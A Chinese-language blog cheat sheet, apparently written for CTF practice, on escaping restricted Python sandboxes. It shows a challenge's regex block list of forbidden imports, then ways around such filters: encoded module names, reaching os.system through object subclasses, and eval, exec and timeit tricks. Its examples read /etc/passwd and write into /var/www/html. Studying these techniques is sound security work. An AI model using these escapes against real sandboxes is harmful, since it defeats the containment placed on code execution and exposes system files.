Python沙盒逃逸

沙盒逃逸简介

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程

对于python的沙箱逃逸而言,我们来实现目的的最终想法有以下几个

  • 使用os包中的popen,system两个函数来直接执行shell
  • 使用commands模块中的方法
  • 使用subprocess
  • 使用写文件到指定位置,再使用其他辅助手段
1
2
3
4
5
6
7
8
9
10
import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

但一般题目中会有各种过滤,禁止用户引用敏感的包

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

python中导入模块有以下几种方式

  1. import xxx
  2. from xxx import *
  3. __import__('xxx')

而我们绕过敏感包就必须使用其他引用方式

  1. import 关键字
  2. __import__函数
  3. importlib库

import 是一个关键字,因此,包的名字是直接以 ‘tag’(标记)的方式引入的,但是对于函数和包来说,引入的包的名字就是他们的参数,也就是说,将会以字符串的方式引入
我们可以对原始关键字做出种种处理来bypass掉源码扫描

1
2
3
4
5
6
//__import__函数bypass
print __import__("pbzznaqf".decode('rot_13')).getoutput('ipconfig')

//importlib库bypass
import importlib
print importlib.import_module("pbzznaqf".decode('rot_13').getoutput('ifconfig')

沙盒逃逸各种方法

在python中,不用引入直接使用的内置函数称为 builtin 函数(内联函数),随着builtin这一个 module 自动被引入到环境中

1
2
3
4
//函数调用执行
__builtin__.open()
__builtin__.int()
__builtin__.chr()

(在python3.x 版本中,__builtin__变成了builtins,而且需要引入)

1
2
3
4
5
6
//如果一些内联函数在builtins删除 ,我们可以通过reload(__builtins__)重新载入获取一个完整的builtins
//但是,reload也是__builtin__下面的函数,如果直接把它干掉,就没办法重新引入了
//这个时候可以在python中引入一个名为imp的模块
import imp
imp.reload(__builtin__)
//然后我们就会重新得到完整的__builtin__模块了

python的object类中集成了很多的基础函数,下面举常见两种方法进入类调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
().__class__.__bases__[0]
''.__class__.__mro__[2]

>>> ().__class__.__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__[2]
<type 'object'>

>>> dir(().__class__.__bases__[0])
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> dir(''.__class__.__mro__[2])
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

//存在hook函数可直接调用

1
2
3
4
5
6
7
8
9
10
11
12
13
//其中存在file类
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>

//可直接进行文件操作
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'E:\zo1ro.md').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/zo1ro.html', 'w').write('helloworld')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ifconfig").read()' )

在os模块被屏蔽后,可通过其他子类进行调用os模块进行命令执行和文件读写

这里举例通过warnings.catch_warnings类调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60
>>> [].__class__.__base__.__subclasses__()[59]
<class 'warnings.WarningMessage'>
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

//这里找到linecache,linecache 模块的作用是将文件内容读取到内存中
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys().index('linecache')
25
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from 'C:\Python27\lib\os.pyc'>
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys().index('system')
79
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys()[79]
'system'

//调用system函数进行命令执行
>>> a=[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[79]
>>> a
<built-in function system>
>>> a('ipconfig')

其他的一些执行函数

  • timeit
1
2
>>> import timeit
>>> timeit.timeit("__import__('os').system('ipconfig')",number=1)
  • exec&eval
1
2
>>> eval('__import__("os").system("ipconfig")')
>>> exec('__import__("os").system("ipconfig")')
  • platform
1
2
>>> import platform
>>> print platform.popen('ipconfig').read()
  • 变量替换
1
2
a = open
print(a("/etc/passwd").read())
  • 函数名后面加点空格换一行
1
2
print open
("/etc/passwd").read()
  • 使用第三方库的执行命令的函数
1
2
3
//如果程序中调用了第三方的库,恰好这个库有执行命令的函数,那么肯定是再好不过了
from numpy.distutils.exec_command import _exec_command as system
system("ls /")
  • 使用别名
1
import os as o
  • 字符串拼接
1
2
3
"l"+"s"
"func_global"+"s"
>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('ipconfig')
  • 字符串编码或者其他操作
1
2
3
4
5
6
7
//如果过滤的是键值对中的key(为了强调是字符串类型)
//方法一:使用编码的转换
>>>'X19pbXBvcnRfXw=='.decode('base64')
//方法二:使用python的字符串操作
>>>s = "emit"
>>>s = s [::-1]
>>>print a[s]

参考链接

关于Python sec的一些简单的总结

【VULNERABLITY】python sandbox escape

python沙箱逃逸小结

python沙箱逃逸一些套路的小结

从一个CTF题目学习Python沙箱逃逸

Python沙箱逃逸的n种姿势

python沙盒逃逸

Python 沙盒逃逸备忘

Python 沙盒绕过

python沙盒总结

python沙盒绕过

记录一下,后补……

-------------本文结束 感谢阅读-------------